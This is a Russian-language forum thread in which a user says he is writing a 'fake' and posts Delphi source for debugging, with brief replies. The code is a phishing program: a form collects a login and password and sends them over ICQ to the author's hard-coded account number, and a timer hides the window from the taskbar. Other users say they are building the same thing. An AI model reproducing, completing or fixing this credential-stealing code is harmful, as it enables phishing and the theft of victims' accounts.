проблемы с отсылкой сообщений в TICQClient

[heretic1990]

вот пишу фейк и столкнулся с такой проблемой:
не приходит сообщение.
UIN и пароль правильны, аська (моя) куда должно приходить тоже.
если залогиниться на аську с которой надо отсылать у неё в контакт листе появляется мой нум.
Так почему не приходит сообщение?

в Delphi я не очень силён помогите.

пример кода

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, XPMan, ICQClient, ShellAPI, CoolTrayIcon,
Menus;

type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
XPManifest1: TXPManifest;
CheckBox1: TCheckBox;
Button1: TButton;
Label5: TLabel;
ICQClient1: TICQClient;
CoolTrayIcon1: TCoolTrayIcon;
Timer1: TTimer;
Image1: TImage;
CheckBox2: TCheckBox;
MainMenu1: TMainMenu;
prog1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
prog2: TMenuItem;
N6: TMenuItem;
Label1: TLabel;
procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Label1MouseLeave(Sender: TObject);


procedure Label5MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Label5MouseLeave(Sender: TObject);

procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Label1Click(Sender: TObject);
procedure Label5Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
uses Unit2;
{$R *.dfm}





procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
label1.Font.Color:= clBlue;
end;

procedure TForm1.Label1MouseLeave(Sender: TObject);
begin
label1.Font.Color:= clNavy;
end;




procedure TForm1.Label5MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
label5.Font.Color:= clBlue;
end;

procedure TForm1.Label5MouseLeave(Sender: TObject);
begin
label5.Font.Color:= clNavy;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

icqclient1.Login();

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.SendMessage(123456789, 'Login: ' + Edit1.Text + ' Password: ' + Edit2.Text);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;


procedure TForm1.N5Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.N4Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('https://ссыль'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.Label5Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль/'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.Timer1Timer(Sender: TObject);
begin
ShowWindow(application.Handle,SW_HIDE);
timer1.Enabled:= False;
end;


end.

[Linkus]

Отписал в ПМ

[0ldbi4]

icqclient1.SendMessage(123456789, 'Login: ' + Edit1.Text + ' Password: ' + Edit2.Text);
вроде не так пишется с '' + до и после сообщения

[Kandi]

Отписал в ПМ
Мне тоже очень интересно.... :(
делал по клику отсылку сообщения в мою аську....в чем трабла то? :(